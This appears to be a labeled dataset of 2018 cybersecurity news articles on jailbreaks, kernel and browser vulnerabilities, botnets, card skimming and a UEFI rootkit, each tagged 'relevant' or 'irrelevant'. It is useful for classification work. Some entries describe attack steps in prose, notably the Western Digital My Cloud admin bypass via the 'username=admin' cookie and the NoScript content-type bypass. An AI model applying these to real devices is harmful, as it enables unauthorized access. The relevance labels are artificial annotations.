"Pangu Hackers have Jailbroken iOS 12 on Apple's New iPhone XS Bad news for Apple. The Chinese hacking team Pangu is back and has once again surprised everyone with a jailbreak for iOS 12 running on the brand-new iPhone XS. Well, that was really fast. Pangu jailbreak team has been quiet for a while, since it last released the untethered jailbreak tool for iOS 9 back in October 2015. Jailbreaking is a process of removing limitations on Apple's iOS devices so users can install third-party software not certified by Apple. Today, Android and iOS security researcher Min(Spark) Zheng shared a Tweet with two screenshots showing a working jailbreak on Apple's newly released iPhone XS with A12 Bionic chip achieved by one of the Pangu researchers. The Tweet also revealed that the iOS 12 jailbreak works by bypassing a functional PAC (Pointer authentication codes) mitigation implemented in the new Apple's A12 Bionic chip. pangu hacking team Moreover, since the hardware of iPhone XS is very much identical to iPhone XS Max, the new iOS 12 jailbreak exploit should also work on both Apple's latest flagship iPhones. Since the Pangu jailbreak team has not made any official announcement regarding the new jailbreak, it is not clear whether or not the team will release the iOS 12 jailbreak to the public. Also, before jailbreaking your Apple devices, just keep in mind that this will violate your End User License Agreement with Apple and also exposes your iOS device to security bugs, putting your personal data at risk, for which you won't be getting Apple's help if anything goes wrong. Jailbreaking your iPhones also opens up your device to iOS malware such as KeyRaider and YiSpector that specifically targeted iOS users with jailbroken devices. So, how are you feeling right now about the new jailbreaking? Let us know in the comments below.",relevant
"Watch Out! This New Web Exploit Can Crash and Restart Your iPhone It's 2018, and just a few lines of code can crash and restart any iPhone or iPad and can cause a Mac computer to freeze. Sabri Haddouche, a security researcher at encrypted instant messaging app Wire, revealed a proof-of-concept (PoC) web page containing an exploit that uses only a few lines of specially crafted CSS & HTML code. Beyond just a simple crash, the web page, if visited, causes a full device kernel panic and an entire system reboot. The Haddouche's PoC exploits a weakness in Apple's web rendering engine WebKit, which is used by all apps and web browsers running on the Apple's operating system. Since the Webkit issue failed to properly load multiple elements such as ""div"" tags inside a backdrop filter property in CSS, Haddouche created a web page that uses up all of the device's resources, causing shut down and restart of the device due to kernel panic. You can also watch the video demonstration published by the researcher, which shows the iPhone crash attack in action. All web browsers, including Microsoft Edge, Internet Explorer, and Safari on iOS, as well as Safari and Mail in macOS, are vulnerable to this CSS-based web attack, because all of them use the WebKit rendering engine. Windows and Linux users are not affected by this vulnerability. The Hacker News tested the attack on different web browsers, including Chrome, Safari, and Edge (on MacBook Pro and iPhone X) and it still worked on the latest version of both macOS and iOS operating systems. So, Apple users are advised to be vigilant while visiting any web page including the code or clicking on links sent over their Facebook or WhatsApp account, or in an email. Haddouche has posted the source code of the CSS & HTML web page that causes this attack on his GitHub page Haddouche said he already reported the issue to Apple about the Webkit vulnerability and the company is possibly investigating the issue and working on a fix to address it in a future release.",relevant
"Russian Hacker Pleads Guilty to Operating Kelihos Botnet The Russian man who was accused of operating the infamous Kelihos botnet has finally pleaded guilty in a U.S. federal court. Peter Yuryevich Levashov, 38, of St. Petersburg, Russia, pleaded guilty on Wednesday in U.S. federal court in Connecticut to computer crime, wire fraud, conspiracy and identity theft charges. Levashov, also known by many online aliases including Peter Severa, Petr Levashov, Petr Severa and Sergey Astakhov, has admitted of operating several botnets, including the Storm, Waledac and Kelihos botnets, since the late 1990s until he was arrested in April 2017. Kelihos botnet, dated back to 2010, was a global network of tens of thousands of infected computers that were used to steal login credentials, send bulk spam emails, and infect computers with ransomware and other malware. Russian Hacker Infects 50,000 Computers With Kelihos Botnet Storm and Waledac botnets also shared Kelihos code, but kelihos was the most notorious botnet of all that alone infected more than 50,000 computers worldwide. ""Levashov controlled and operated multiple botnets, including the Storm, Waledac and Kelihos botnets, to harvest personal information and means of identification (including email addresses, usernames and logins, and passwords) from infected computers,"" the DoJ said in a press release. All the three botnets reportedly generated hundreds of millions of dollars for cybercriminals. As The Hacker News has previously reported, Levashov has also been listed in the World's Top 10 Worst Spammers maintained by anti-spam group Spamhaus, which gave him the 7th position in the list, at that time. While initially it was speculated that Levashov was involved in 2016 U.S. election hacking, the DoJ indictment unsealed last year after his arrest in Spain made it clear that the suspect was arrested due to his involvement in the Kelihos botnet and spamming targets for trying and forcing them to buy worthless stock. Levashov was arrested in Barcelona in 2017 where he was vacationing with his family after an international arrest warrant was issued against him by the United States. Right after his arrest, the Kelihos botnet was shut down by the federal authorities. While Russia filed an extradition request in September last year, Spanish authorities extradited Levashov on the United States' request in February 2018. Since Levashov has previously worked with for Vladimir Putin's United Russia Party for ten years, at the time of his arrest, he feared that the US authorities would torture him for information about his political work if extradited to the U.S. to face charges. Levashov on Wednesday pleaded guilty in U.S. District Court in Hartford, Connecticut, to a total of four counts, as follows: 1 count of causing intentional damage to a protected computer 1 count of conspiracy 1 count of aggravated identity theft 1 count of wire fraud Levashov is due to be sentenced on September 6, 2019, and will remain in custody until this date.",irrelevant
"Google Hacker Discloses New Linux Kernel Vulnerability and PoC Exploit A cybersecurity researcher with Google Project Zero has released the details, and a proof-of-concept (PoC) exploit for a high severity vulnerability that exists in Linux kernel since kernel version 3.16 through 4.18.8. Discovered by white hat hacker Jann Horn, the kernel vulnerability (CVE-2018-17182) is a cache invalidation bug in the Linux memory management subsystem that leads to use-after-free vulnerability, which if exploited, could allow an attacker to gain root privileges on the targeted system. The use-after-free (UAF) vulnerabilities are a class of memory corruption bug that can be exploited by unprivileged users to corrupt or alter data in memory, enabling them to cause a denial of service (system crash) or escalate privileges to gain administrative access on a system. Linux Kernel Exploit Takes an Hour to Gain Root Access However, Horn says his PoC Linux kernel exploit made available to the public ""takes about an hour to run before popping a root shell."" Horn responsibly reported the vulnerability to Linux kernel maintainers on September 12, and the Linux team fixed the issue in his upstream kernel tree within just two days, which Horn said was ""exceptionally fast, compared to the fix times of other software vendors."" The Linux kernel vulnerability was disclosed on the oss-security mailing list on September 18 and was patched in the upstream-supported stable kernel versions 4.18.9, 4.14.71, 4.9.128, and 4.4.157 on the next day. There's also a fix in release 3.16.58. Debian and Ubuntu Linux Left its Users Vulnerable for Over a Week ""However, a fix being in the upstream kernel does not automatically mean that users' systems are actually patched,"" Horn noted. The researcher was disappointed knowing that some major Linux distributions, including Debian and Ubuntu, left their users exposed to potential attacks by not releasing kernel updates more than a week after the vulnerability was made public. As of Wednesday, both Debian stable and Ubuntu releases 16.04 and 18.04 had not patched the vulnerability. However, the Fedora project already rolled out a security patch to its users on 22 September. ""Debian stable ships a kernel based on 4.9, but as of 2018-09-26, this kernel was last updated 2018-08-21. Similarly, Ubuntu 16.04 ships a kernel that was last updated 2018-08-27,"" Horn noted. ""Android only ships security updates once a month. Therefore, when a security-critical fix is available in an upstream stable kernel, it can still take weeks before the fix is actually available to users—especially if the security impact is not announced publicly."" In response to the Horn's blog post, the maintainers of Ubuntu says the company would possibly release the patches for the Linux kernel flaw around October 1, 2018. Horn said that once the patch is deployed in the upstream kernel, the vulnerability and patch becomes public, which, in this case, could allow malicious actors to develop a Linux kernel exploit to target users.",relevant
"New Linux Kernel Bug Affects Red Hat, CentOS, and Debian Distributions Security researchers have published the details and proof-of-concept (PoC) exploits of an integer overflow vulnerability in the Linux kernel that could allow an unprivileged user to gain superuser access to the targeted system. The vulnerability, discovered by cloud-based security and compliance solutions provider Qualys, which has been dubbed ""Mutagen Astronomy,"" affects the kernel versions released between July 2007 and July 2017, impacting the Red Hat Enterprise Linux, CentOS, and Debian distributions. The Mutagen Astronomy vulnerability tracked as CVE-2018-14634, is a type of a local privilege escalation issue—one of the most common issues with operating systems as a whole—and exists in the Linux kernel's create_elf_tables() function that operates the memory tables. To successfully exploit this vulnerability, attackers need to have access to the targeted system and run their exploit that leads to a buffer overflow, thereby resulting in the execution of malicious code and achieving complete control of the affected system. linux kernel privilege escalation exploit According to a security advisory published by Qualys on Tuesday, the security vulnerability can be exploited to escalate privileges to root via a SUID-root binary, but it only works on 64-bit systems. ""This issue does not affect 32-bit systems as they do not have a large enough address space to exploit this flaw. Systems with less than 32GB of memory are unlikely to be affected by this issue due to memory demands during exploitation,"" an advisory released by Red Hat reads. ""Only kernels with commit b6a2fea39318 (""mm: variable length argument support,"" from July 19, 2007) but without commit da029c11e6b1 (""exec: Limit arg stack to at most 75% of _STK_LIM"", from July 7, 2017) are exploitable,"" the Qualys advisory says. Linux Kernel versions 2.6.x, 3.10.x and 4.14.x, are said to be vulnerable to the Mutagen Astronomy flaw. While most Linux distributions have backported commit da029c11e6b1 to their long-term-supported kernels to address the issue, Red Hat Enterprise Linux, CentOS, and Debian 8 Jessie (the current ""oldstable"" version) did not implement the changes and therefore, left vulnerable to the attacks. Proof-of-Concept (PoC) Exploits Released Qualys reported the vulnerability to Red Hat on August 31, 2018, and to Linux kernel developers on September 18, 2018. Red Hat, assigned the flaw as ""important"" with a CVSS score of 7.8 (high severity), has patched the issue and begun releasing security updates that address the issue. ""This issue affects the version of the kernel packages as shipped with Red Hat Enterprise Linux 6, 7 and Red Hat Enterprise MRG 2. Future kernel updates for Red Hat Enterprise Linux 6, 7 and Red Hat Enterprise MRG 2 will address this issue,"" Red Hat says. However, the versions of Linux kernel as shipped with Red Hat Enterprise Linux 5 are not affected by the Mutagen Astronomy vulnerability. Qualys researchers have also released both technical details and proof-of-concept (PoC) exploits (, ) for the vulnerability to the public.",relevant
"Thousands of MikroTik Routers Hacked to Eavesdrop On Network Traffic Last month we reported about a widespread crypto-mining malware campaign that hijacked over 200,000 MikroTik routers using a previously disclosed vulnerability revealed in the CIA Vault 7 leaks. Now Chinese security researchers at Qihoo 360 Netlab have discovered that out of 370,000 potentially vulnerable MikroTik routers, more than 7,500 devices have been compromised to enable Socks4 proxy maliciously, allowing attackers to actively eavesdrop on the targeted network traffic since mid-July. The vulnerability in question is Winbox Any Directory File Read (CVE-2018-14847) in MikroTik routers that was found exploited by the CIA Vault 7 hacking tool called Chimay Red, along with another MikroTik's Webfig remote code execution vulnerability. Both Winbox and Webfig are RouterOS management components with their corresponding communication ports as TCP/8291, TCP/80, and TCP/8080. Winbox is designed for Windows users to easily configure the routers that download some DLL files from the router and execute them on a system. According to the researchers, more than 370,000 of 1.2 million MikroTik routers are still vulnerable to the CVE-2018-14847 exploit, even after the vendor has already rolled out security updates to patch the loophole. Netlab researchers have identified malware exploiting the CVE-2018-14847 vulnerability to perform various malicious activities, including CoinHive mining code injection, silently enabling Socks4 proxy on routers, and spying on victims. CoinHive Mining Code Injection — After enabling the Mikrotik RouterOS HTTP proxy, the attackers redirect all the HTTP proxy requests to a local HTTP 403 error page which injects a link for web mining code from Coinhive. ""By doing this, the attacker hopes to perform web mining for all the proxy traffic on the users' devices,"" the researchers explain. ""What is disappointing for the attacker though, the mining code does not work in this way, because all the external web resources, including those from coinhive.com necessary for web mining, are blocked by the proxy ACLs set by attackers themselves."" mikrotik router hacking attack Maliciously Enabling Sock4 Proxy — Silently enabling the Socks4 port or TCP/4153 on victims device allows an attacker to gain control of the device even after it has been rebooted (IP change) by periodically reporting its latest IP address to the attacker's URL. According to the researchers, at present, a total of 239,000 IP addresses are confirmed to have Socks4 proxy enabled maliciously, eventually allowing attackers to continuously scan more MikroTik RouterOS devices using these compromised Socks4 proxy. Eavesdropping on Victims — Since the MikroTik RouterOS devices allow users to capture packets on the router and forward them to the specified Stream server, attackers are forwarding the traffic from compromised routers to IP addresses controlled by them. ""At present, a total of 7.5k MikroTik RouterOS device IPs have been compromised by the attacker, and their TZSP traffic is being forwarded to some collecting IP addresses,"" the researchers say. ""We also noticed the SNMP port 161 and 162 are also top on the list. This deserve some questions, why the attacker is paying attention to the network management protocol regular users barely use? Are they trying to monitor and capture some special users' network SNMP community strings?"" The victims are spread across various countries Russia, Iran, Brazil, India, Ukraine, Bangladesh, Indonesia, Ecuador, the United States, Argentina, Colombia, Poland, Kenya, Iraq, and some European and Asian countries, with Russia being the most affected. Netlab did not share the IP addresses of the victims to the public for security reasons but said that relevant security entities in affected countries can contact the company for a full list of infected IP addresses. The best way to protect yourself is to PATCH. MikroTik RouterOS users are highly recommended to update their devices and also check if the HTTP proxy, Socks4 proxy, and network traffic capture function are being maliciously exploited.",relevant
"Hackers Steal Customers' Credit Cards From Newegg Electronics Retailer The notorious hacking group behind the Ticketmaster and British Airways data breaches has now victimized popular computer hardware and consumer electronics retailer Newegg. Magecart hacking group managed to infiltrate the Newegg website and steal the credit card details of all customers who entered their payment card information between August 14 and September 18, 2018, according to a joint analysis from Volexity and RiskIQ. Magecart hackers used what researchers called a digital credit card skimmer wherein they inserted a few lines of malicious Javascript code into the checkout page of Newegg website that captured payment information of customers making purchasing on the site and then send it to a remote server. Active since at least 2015, the Magecart hacking group registered a domain called neweggstats(dot)com on August 13, similar to Newegg's legitimate domain newegg.com, and acquired an SSL certificate issued for the domain by Comodo for their website. A day later, the group inserted the skimmer code into the Newegg website at the payment processing page, so that it would not come into play until or unless the payment page was hit. So, when customers add a product in their shopping cart, enter their delivery information during the first step of the check-out, and validate their address, the website takes them to the payment processing page to enter their credit card information. digital credit card skimmer As soon as the customer hit submit button after entering their credit card information, the skimmer code immediately sends a copy that data to the attacker's domain, i.e., neweggstats(dot)com without interrupting the checkout process. Newegg Hack May Affect Millions of Customers The attack affected both desktop and mobile customers, though it is still unclear how many customers were actually hit by this credit card breach. However, considering that more than 50 million shoppers visit Newegg every month and that the malicious code was there for over one month, it could be assumed that this Magecart newest card skimming campaign has possibly stolen the payment information on millions of Newegg customers, even if only a fraction of those visitors make purchases. Earlier this month, the Magecart hacking group breached the British Airways website and its mobile application and managed to walk away with a bounty of sensitive payment card data from 380,000 victims. ""The skimmer code [used in the Newegg breach] is recognizable from the British Airways incident, with the same basecode,"" RiskIQ researchers said. ""All the attackers changed is the name of the form it needs to serialize to obtain payment information and the server to send it to, this time themed with Newegg instead of British Airways."" In the Newegg case, the hackers used smaller skimmer code of ""a tidy 15 lines of script,"" since it only had to serialize one form. If you are one of those Newegg customers who entered their credit card details on the website during the attack period, you should immediately contact your bank, block your payment card, and request for a replacement. However, the way Magecart is scooping up payment card data from popular services with relatively little efforts suggests that Newegg probably will not be its last target.",irrelevant
"Operator of VirusTotal Like Malware-Scanning Service Jailed for 14 Years A Latvian hacker behind the development and operation of counter antivirus service ""Scan4You"" has finally been sentenced to 14 years in prison. 37-year-old Ruslans Bondars, described as a Latvian ""non-citizen"" or ""citizen of the former USSR who had been residing in Riga, Latvia,"" was found guilty on May 16 in federal court in Alexandria, during which a co-conspirator revealed he had worked with Russian law enforcement. Bondars created and ran Scan4you—a VirusTotal like online multi-engine antivirus scanning service that allowed hackers to run their code by several popular antiviruses to determine if their computer virus or malware would be flagged during routine security scans before launching them into a real-world malware campaign. While legal scanning services share data about uploaded files with the antivirus firms, Scan4you instead informed its users that they could ""upload files anonymously and promised not to share information about the uploaded files with the antivirus community."" Bondars was one of the two hackers found to have been running Scan4you from 2009 to 2016 and helping other malware authors test and improve the malware they then ""used to inflict hundreds of millions of dollars in losses on American companies and consumers."" Bondars' partner Jurijs Martisevs, who was also arrested while on a trip to Latvia and extradited to the United States, pleaded guilty to similar charges back in March this year. scan4you online antivirus scanner According to the Justice Department press release, Scan4you customers used the service to steal millions of payment cards from retail stores across the world, including the United States, which led to some $20.5 billion in losses. For instance, one Scan4you customer used the service to test malware that was subsequently used to steal approximately 40 million credit and debit card numbers, and other personal information from a US retail store, causing $292 million in losses. Another customer used Scan4you to assist the development of ""Citadel""—a widely used malware strain that infected over 11 million computers worldwide, including in the United States and resulted in over $500 million in fraud-related losses. ""Ruslans Bondars helped malware developers attack American businesses,"" said Assistant Attorney General Benczkowski. ""The Department of Justice and its law enforcement partners make no distinction between service providers like Scan4You and the hackers they assist: we will hold them accountable for all of the significant harm they cause and work tirelessly to bring them to justice, wherever they may be located."" Bondars was convicted of three counts, including conspiracy to violate the Computer Fraud and Abuse Act, conspiracy to commit wire fraud, and computer intrusion with intent to cause damage and was sentenced to 168 months in prison on Friday. Although US court never charged Bondars with direct involvement in any hacking, court documents show he used malware to rob online users and trick them into buying antivirus services they did not need. Moreover, prosecutors also say Scan4You was an ""innovation"" in malware that has inspired many copycats, which resulted in such services being readily available on the Internet.",irrelevant
"SHEIN-Fashion Shopping Site Suffers Data Breach Affecting 6.5 Million Users U.S. online fashion retailer SHEIN has admitted that the company has suffered a significant data breach after unknown hackers stole personally identifiable information (PII) of almost 6.5 million customers. Based in North Brunswick and founded in 2008, SHEIN has become one of the largest online fashion retailers that ships to more than 80 countries worldwide. The site has been initially designed to produce ""affordable"" and trendy fashion clothing for women. SHEIN revealed last weekend that its servers had been targeted by a ""concerted criminal cyber-attack"" that began in June this year and lasted until August 22, when the company was finally made aware of the potential theft. Soon after that, the company scanned its servers to remove all possible backdoored entry points, leveraging which hackers could again infiltrate the servers. SHEIN assured its customers that the website is now safe to visit. Hackers Stole Over 6.42 Million SHEIN Customers' Data Although details about the incident are scarce, the online retailer revealed that the malicious hackers managed to steal gain access to email addresses and encrypted password credentials for 6.42 million customers who registered on its website. ""While the full extent of the attack will continue to be investigated, it can now be confirmed that the personal information illegally acquired by the intruders included email addresses and encrypted password credentials of customers who visited the company website,"" SHEIN said. ""It is our understanding that the breach began in June 2018 and continued through early August 2018 and involves approximately 6.42 million customers."" However, the company said it typically does not store any credit card information on its systems and has currently no evidence that any credit card information of its customers was taken from its systems. Since no payment card details were stolen, it does not appear that if the online retailer was hit by the recent series of Magecart cyber attacks that have recently affected popular online services including Ticketmaster, British Airways, and Newegg. Are You Affected? Here's What Users Should Do Upon becoming aware of this potential theft, SHEIN immediately hired a leading international forensic cybersecurity firm and an international law firm to launch a thorough investigation into the breach. The company has already begun contacting all affected customers and requesting them to change passwords for their online store accounts by either clicking the link provided in the email notification from SHEIN or directly logging into their SHEIN account to change the password. You can find ""Edit Password"" link under the ""Account Setting"" page. If customers believe the attackers may have compromised their credit card information, the company urged them to directly contact their respective banks or credit card companies with any concerns. For more information regarding the breach investigation and the actions SHEIN is taking to protect its customer information, you can contact the company at 844-802-2500, or visit its FAQ at www.shein.com/datasecurity.",irrelevant
"Tesla Model S Hack Could Let Thieves Clone Key Fobs to Steal Cars Despite having proper security measures in place to protect the driving systems of its cars against cyber attacks, a team of security researchers discovered a way to remotely hack a Tesla Model S luxury sedans in less than two seconds. Yes, you heard that right. A team of researchers from the Computer Security and Industrial Cryptography (COSIC) group of the Department of Electrical Engineering at the KU Leuven University in Belgium has demonstrated how it break the encryption used in Tesla's Model S wireless key fob. With $600 in radio and computing equipment that wirelessly read signals from a nearby Tesla owner's fob, the team was able to clone the key fob of Tesla's Model S, open the doors and drive away the electric sports car without a trace, according to Wired. ""Today it's very easy for us to clone these key fobs in a matter of seconds,"" Lennert Wouters, one of the KU Leuven researchers, told Wired. ""We can completely impersonate the key fob and open and drive the vehicle."" Also Read: Researchers Show How to Steal Tesla Car by Hacking into Owner's Smartphone. Tesla's Key Fob Cloning Attack Takes Just 1.6 Seconds Like most automotive keyless entry systems, Tesla Model S key fobs also work by sending an encrypted code to a car's radios to trigger it to unlock the doors, enabling the car to start. However, the KU Leuven researchers found that Tesla uses a keyless entry system built by a manufacturer called Pektron, which uses a weak 40-bit cipher to encrypt those key fob codes. The researchers made a 6-terabyte table of all possible keys for any combination of code pairs, and then used a Yard Stick One radio, a Proxmark radio, and a Raspberry Pi mini-computer, which cost about $600 total—not bad for a Tesla Model S though—to capture the required two codes. With that table and those two codes, the team says it can calculate the correct cryptographic key to spoof any key fob in just 1.6 seconds. To understand more clearly, you can watch the proof of concept video demonstration which shows the hack in action. The team reported the issue to Tesla last year, but the company addressed it in June 2018 by upgrading the weak encryption. Last month, the company also added an optional PIN as an additional defense. Tesla Paid $10,000 Bounty to the Researchers After the story broke, Tesla was criticised on Twitter for using a weak cipher, though a member of the KU Leuven team appreciated Tesla for quickly responding to their report and fixing the issue,, on the same time, accused other vehicle makers using keyless entry tech from the same vendor and ignoring reports. Also Read: Hackers take Remote Control of Tesla's Brakes and Door locks from 12 Miles Away. ""Everybody is making fun of Tesla for using a 40-bit key (and rightly so),"" Cryp·tomer tweeted. ""But Tesla at least had a mechanism we could report to and fixed the problem once informed. McLaren, Karma, and Triumph used the same system and ignored us."" Tesla paid the KU Leuven team a $10,000 bounty and plans to add the researchers' names to its Hall of Fame.",irrelevant
"Tor Browser Zero-Day Exploit Revealed Online – Patch Now Zerodium, the infamous exploit vendor that earlier this year offered $1 million for submitting a zero-day exploit for Tor Browser, today publicly revealed a critical zero-day flaw in the anonymous browsing software that could reveal your identity to the sites you visit. In a Tweet, Zerodium shared a zero-day vulnerability that resides in the NoScript browser plugin comes pre-installed with the Mozilla Firefox bundled in the Tor software. NoScript is a free browser extension that blocks malicious JavaScript, Java, Flash and other potentially dangerous content on all web pages by default, though users can whitelist sites they trust. According to Zerodium, NoScript ""Classic"" versions 5.0.4 to 5.1.8.6--with 'Safest' security level enabled--included in Tor Browser 7.5.6 can be bypassed to run any JavaScript file by changing its content-type header to JSON format. In other words, a website can exploit this vulnerability to execute malicious JavaScript on victims' Tor browsers to effectively identify their real IP address. It should be noted that the latest version of Tor browser, i.e., Tor 8.0, is not vulnerable to this flaw, as the NoScript plugin designed for the newer version of Firefox (""Quantum"") is based upon a different API format. Therefore, Tor 7.x users are highly recommended to immediately update their browser to the latest Tor 8.0 release. NoScript has also fixed the zero-day flaw with the release of NoScript ""Classic"" version 5.1.8.7.",relevant
"Cybersecurity Researchers Spotted First-Ever UEFI Rootkit in the Wild Cybersecurity researchers at ESET have unveiled what they claim to be the first-ever UEFI rootkit being used in the wild, allowing hackers to implant persistent malware on the targeted computers that could survive a complete hard-drive wipe. Dubbed LoJax, the UEFI rootkit is part of a malware campaign conducted by the infamous Sednit group, also known as APT28, Fancy Bear, Strontium, and Sofacy, to target several government organizations in the Balkans as well as in Central and Eastern Europe. Operating since at least 2007, Sednit group is a state-sponsored hacking group believed to be a unit of GRU (General Staff Main Intelligence Directorate), a Russian secret military intelligence agency. The hacking group has been associated with a number of high profile attacks, including the DNC hack just before the U.S. 2016 presidential election. UEFI, or Unified Extensible Firmware Interface, a replacement for the traditional BIOS, is a core and critical firmware component of a computer, which links a computer's hardware and operating system at startup and is typically not accessible to users. How Does LoJax UEFI Rootkit Work? According to the ESET researchers, the LoJax malware has the ability to write a malicious UEFI module into the system's SPI flash memory, allowing BIOS firmware to install and execute malware deep inside the computer disk during the boot process. ""This patching tool uses different techniques either to abuse misconfigured platforms or to bypass platform SPI flash memory write protections,"" ESET researchers said in a blog post published today. Since LoJax rootkit resides in the compromised UEFI firmware and re-infects the system before the OS even boots, reinstalling the operating system, formatting the hard disk, or even replacing the hard drive with a new one would not be sufficient to clean the infection. Flashing the compromised firmware with legitimate software is the only way to remove such rootkit malware, which typically is not a simple task for most computer users. LoJax UEFI rootkit malware First spotted in early 2017, LoJax is a trojaned version of a popular legitimate LoJack laptop anti-theft software from Absolute Software, which installs its agent into the system's BIOS to survive OS re-installation or drive replacement and notifies device owner of its location in case the laptop gets stolen. According to researchers, the hackers slightly modified the LoJack software to gain its ability to overwrite UEFI module and changed the background process that communicates with Absolute Software's server to report to Fancy Bear's C&C servers. Upon analyzing the LoJax sample, researchers found that the threat actors used a component called ""ReWriter_binary"" to rewrite vulnerable UEFI chips, replacing the vendor code with their malicious one. ""All the LoJax small agent samples we could recover are trojanizing the exact same legitimate sample of the Computrace small agent rpcnetp.exe. They all have the same compilation timestamp and only a few tens of bytes are different from the original one,"" ESET researchers said. ""Besides the modifications to the configuration file, the other changes include timer values specifying the intervals between connections to the C&C server."" LoJax is not the first code to hide in the UEFI chip, as the 2015 Hacking Team leak revealed that the infamous spyware manufacturer offered UEFI persistence with one of its products. Also, one of the CIA documents leaked by Wikileaks last year gave a clear insight into the techniques used by the agency to gain 'persistence' on Apple Mac devices, including Macs and iPhones, demonstrating their use of EFI/UEFI and firmware malware. However, according to ESET, the LoJax rootkit installation uncovered by its researchers is the first ever recorded case of a UEFI rootkit active in the wild. How to Protect Your Computer From Rootkits As ESET researchers said, there are no easy ways to automatically remove this threat from a system. Since UEFI rootkit is not properly signed, users can protect themselves against LoJax infection by enabling the Secure Boot mechanism, which makes sure that each and every component loaded by the system firmware is properly signed with a valid certificate. If you are already infected with such malware, the only way to remove the rootkit is to reflash the SPI flash memory with a clean firmware image specific to the motherboard, which is a very delicate process that must be performed manually and carefully. Alternative to reflashing the UEFI/BIOS, you can replace the motherboard of the compromised system outright. ""The LoJax campaign shows that high-value targets are prime candidates for the deployment of rare, even unique threats. Such targets should always be on the lookout for signs of compromise,"" researchers wrote. For more in-depth details about the LoJax root, you can head onto a white paper [PDF], titled the ""LoJax: First UEFI rootkit found in the wild, courtesy of the Sednit group,"" published on Thursday by ESET researchers.",irrelevant
"Western Digital's My Cloud NAS Devices Turn Out to Be Easily Hacked Security researchers have discovered an authentication bypass vulnerability in Western Digital's My Cloud NAS devices that potentially allows an unauthenticated attacker to gain admin-level control to the affected devices. Western Digital's My Cloud (WD My Cloud) is one of the most popular network-attached storage (NAS) devices which is being used by businesses and individuals to host their files, as well as backup and sync them with various cloud and web-based services. The WD My Cloud devices let users not only share files in a home network but its private cloud feature also allows them to access their data from anywhere around the world at any time. However, security researchers at Securify have discovered an authentication bypass vulnerability on the WD My Cloud NAS boxes that could allow unauthenticated attackers with network access to the device to escalate their privileges to admin-level without needing to provide a password. This would eventually allow attackers to run commands that would typically require administrative privileges and gain complete control of the affected NAS device, including their ability to view, copy, delete and overwrite any files that are stored on the device. Here's How Easy it is to Hack a WD My Cloud Storage Boxes The vulnerability, designated CVE-2018-17153, resides in the way WD My Cloud creates an admin session tied to an IP address. By simply including the cookie username=admin to an HTTP CGI request send by an attacker to the device's web interface, the attacker can unlock admin access and gain access to all the content stored on the NAS box. ""It was found that it is possible for an unauthenticated attacker to create a valid session without requiring to authenticate,"" the researchers explain in a blog post detailing about the flaw published on Tuesday. ""The network_mgr.cgi CGI module contains a command called cgi_get_ipv6 that starts an admin session that is tied to the IP address of the user making the request when invoked with the parameter flag equal to 1. Subsequent invocation of commands that would normally require admin privileges are now authorized if an attacker sets the username=admin cookie."" Long story short, just tell the WD My Cloud NAS device that you are the admin user in the cookie, and you are in without ever being asked for a password. Proof-of-Concept Exploit Code Released Proof-of-Concept Exploit Code Securify researchers have also published a proof-of-concept (PoC) exploit showing how the vulnerability can be exploited with just a few lines of code. Obviously, the exploit requires either a local network or internet connection to a WD My Cloud device in order to be run the command and bypasses the NAS device's usual login requirements. The researchers successfully verified the vulnerability on a Western Digital My Cloud model WDBCTL0020HWT running firmware version 2.30.172, though they claimed that this issue is not limited to the model, as most products in the My Cloud series share the same ""vulnerable"" code. Securify researchers found the issue while reverse engineering the CGI binaries to look for security bugs, and reported it to Western Digital in April 2017, but did not receive any response from the company. After almost one-and-half years of silence from Western Digital, researchers finally publicly disclosed the vulnerability, which is still unpatched. This is not the first time Western Digital has ignored the security of its My Cloud NAS device users. Earlier this year, a researcher publicly disclosed several vulnerabilities in Western Digital's My Cloud NAS devices, including a hard-coded password backdoor issue in their firmware after the company did not address the issue, which was reported 180 days before making it public. Update: Patches Coming Soon! Western Digital has responded to our story, saying the company is aware of the vulnerabilities reported by researchers and it is in process of finalizing a scheduled firmware update to address the issue. ""We expect to post the update on our technical support site at https://support.wdc.com/ within a few weeks,"" the company said in a blog post. ""As a reminder, we also urge customers to ensure the firmware on their products is always up to date; enabling automatic updates is recommended.""",relevant
"Researcher Discloses New Zero-Day Affecting All Versions of Windows A security researcher has publicly disclosed an unpatched zero-day vulnerability in all supported versions of Microsoft Windows operating system (including server editions) after the company failed to patch a responsibly disclosed bug within the 120-days deadline. Discovered by Lucas Leong of the Trend Micro Security Research team, the zero-day vulnerability resides in Microsoft Jet Database Engine that could allow an attacker to remotely execute malicious code on any vulnerable Windows computer. The Microsoft JET Database Engine, or simply JET (Joint Engine Technology), is a database engine integrated within several Microsoft products, including Microsoft Access and Visual Basic. According to the an advisory released by Zero Day Initiative (ZDI), the vulnerability is due to a problem with the management of indexes in the Jet database engine that, if exploited successfully, can cause an out-out-bounds memory write, leading to remote code execution. An attacker must convince a targeted user into opening a specially crafted JET database file in order to exploit this vulnerability and remotely execute malicious code on a targeted vulnerable Windows computer. ""Crafted data in a database file can trigger a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code under the context of the current process,"" Trend Micro's Zero Day Initiative wrote in its blog post. ""Various applications use this database format. An attacker using this would be able to execute code at the level of the current process."" According to the ZDI researchers, the vulnerability exists in all supported Windows versions, including Windows 10, Windows 8.1, Windows 7, and Windows Server Edition 2008 to 2016. ZDI reported the vulnerability to Microsoft on May 8, and the tech giant confirmed the bug on 14 May, but failed to patch the vulnerability and release an update within a 120-day (4 months) deadline, making ZDI go public with the vulnerability details. Proof-of-concept exploit code for the vulnerability has also been published by the Trend Micro its GitHub page. Microsoft is working on a patch for the vulnerability, and since it was not included in September Patch Tuesday, you can expect the fix in Microsoft's October patch release. Trend Micro recommends all affected users to ""restrict interaction with the application to trusted files,"" as a mitigation until Microsoft comes up with a patch.",relevant
